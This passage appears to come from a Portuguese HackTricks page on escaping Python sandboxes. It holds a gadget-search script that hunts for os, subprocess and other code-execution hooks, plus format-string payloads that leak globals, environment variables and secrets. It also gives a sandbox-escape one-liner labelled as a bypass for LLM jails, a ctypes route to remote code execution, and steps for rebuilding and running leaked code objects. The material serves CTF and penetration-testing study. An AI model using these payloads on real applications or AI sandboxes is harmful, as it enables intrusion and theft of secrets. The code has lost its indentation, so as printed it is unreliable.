os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Busca Recursiva de builtins, globals...

warning

Isto é simplesmente incrível. Se você está procurando por um objeto como globals, builtins, open ou qualquer outro apenas use este script para buscar recursivamente lugares onde você pode encontrar esse objeto.

python
import os, sys # Import these to find more gadgets

SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()

Você pode verificar a saída deste script nesta página:

https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md

Python Format String

Se você enviar uma string para python que vai ser formatada, você pode usar {} para acessar informações internas do python. Você pode usar os exemplos anteriores para acessar globals ou builtins, por exemplo.

python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Observe como você pode acessar atributos de forma normal com um ponto como people_obj.__init__ e elemento de dict com colchetes sem aspas __globals__[CONFIG]

Também observe que você pode usar .__dict__ para enumerar elementos de um objeto get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Outras características interessantes das strings de formatação são a possibilidade de executar as funções str, repr e ascii no objeto indicado adicionando !s, !r, !a respectivamente:

python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Além disso, é possível code new formatters em classes:

python
class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Mais exemplos sobre format string podem ser encontrados em https://pyformat.info/

caution

Verifique também a seguinte página para gadgets que irão ler informações sensíveis de objetos internos do Python:

Python Internal Read Gadgets

Payloads de divulgação de informações sensíveis

python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

# Example from https://corgi.rip/posts/buckeye-writeups/
secret_variable = "clueless"
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
str(x) # Out: clueless

LLM Jails bypass

De here: ().class.base.subclasses()[108].load_module('os').system('dir')

De format string para RCE carregando bibliotecas

De acordo com o TypeMonkey chall from this writeup é possível carregar bibliotecas arbitrárias a partir do disco abusando da vulnerabilidade de format string em python.

Como lembrete, toda vez que uma ação é realizada em python alguma função é executada. Por exemplo 2*3 executará (2).mul(3) ou {'a':'b'}['a'] será {'a':'b'}.__getitem__('a').

Você tem mais exemplos assim na seção Python execution without calls.

Uma python format string vuln não permite executar funções (não permite usar parênteses), então não é possível obter RCE como '{0.system("/bin/sh")}'.format(os).
No entanto, é possível usar []. Portanto, se uma biblioteca comum de python tiver um método __getitem__ ou __getattr__ que execute código arbitrário, é possível abusar deles para obter RCE.

Procurando por um gadget assim em python, o writeup propõe esta Github search query. Onde ele encontrou este one:

python
class LibraryLoader(object):
def __init__(self, dlltype):
self._dlltype = dlltype

def __getattr__(self, name):
if name[0] == '_':
raise AttributeError(name)
try:
dll = self._dlltype(name)
except OSError:
raise AttributeError(name)
setattr(self, name, dll)
return dll

def __getitem__(self, name):
return getattr(self, name)

cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)

Este gadget permite carregar uma biblioteca do disco. Portanto, é necessário de alguma forma escrever ou enviar a biblioteca a ser carregada corretamente compilada para o servidor atacado.

python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'

O desafio na verdade explora outra vulnerabilidade no servidor que permite criar arquivos arbitrários no disco do servidor.

Dissecting Python Objects

tip

Se você quer learn sobre python bytecode em profundidade leia este post awesome sobre o assunto: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d

Em alguns CTFs você pode receber o nome de uma custom function where the flag resides e precisa ver os internals da function para extraí-la.

Esta é a função a ser inspecionada:

python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ and func_globals (mesmos) obtêm o ambiente global. No exemplo, você pode ver alguns módulos importados, algumas variáveis globais e seus conteúdos declarados:

python
get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

See here more places to obtain globals

Acessando o código da função

__code__ e func_code: Você pode acessar este atributo da função para obter o objeto de código da função.

python
# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Obtendo Informações do Código

python
# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Desmontagem de uma função

python
import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE

Observe que se você não puder importar dis no python sandbox você pode obter o bytecode da função (get_flag.func_code.co_code) e disassemble‑la localmente. Você não verá o conteúdo das variáveis sendo carregadas (LOAD_CONST), mas pode deduzi-las a partir de (get_flag.func_code.co_consts) porque LOAD_CONST também indica o offset da variável sendo carregada.

python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE

Compilando Python

Agora, imagine que de alguma forma você pode dump as informações sobre uma função que você não pode executar mas você precisa executá-la.
Como no exemplo a seguir, você pode acessar o code object dessa função, mas apenas lendo o disassemble você não sabe como calcular a flag (imagine uma função calc_flag mais complexa)

python
def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Criando o code object

Antes de tudo, precisamos saber como criar e executar um code object para que possamos criar um para executar nossa function leaked:

python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

tip

Dependendo da versão do python os parâmetros de code_type podem ter uma ordem diferente. A melhor forma de saber a ordem dos parâmetros na versão do python que você está executando é executar:

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

Recriando uma leaked function

warning

No exemplo a seguir, iremos extrair todos os dados necessários para recriar a função diretamente a partir do function code object. Em um exemplo real, todos os valores necessários para executar a função code_type são o que você precisará leak.

python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Bypass Defenses

Nos exemplos anteriores no início deste post, você pode ver como executar qualquer código Python usando a função compile. Isso é interessante porque você pode executar scripts inteiros com loops e tudo em uma one liner (e poderíamos fazer o mesmo usando exec).
De qualquer forma, às vezes pode ser útil criar um objeto compilado em uma máquina local e executá-lo na CTF machine (por exemplo porque não temos a compiled function na CTF).

For example, let's compile and execute manually a function that reads ./poc.py:

python
#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
python
#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Se você não puder acessar eval ou exec você pode criar uma função adequada, mas chamá-la diretamente geralmente falhará com: construtor não acessível em modo restrito. Então você precisa de uma função fora do ambiente restrito para chamar essa função.

python
#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Decompiling Compiled Python

Usando ferramentas como https://www.decompiler.com/ é possível decompile o código Python compilado.

Confira este tutorial:

Decompile compiled python binaries (exe, elf) - Retreive from .pyc

Diversos (Python)

Assert

Python executado com otimizações usando o parâmetro -O removerá declarações assert e qualquer código condicional ao valor de debug.
Portanto, verificações como

python
def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

será contornado

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks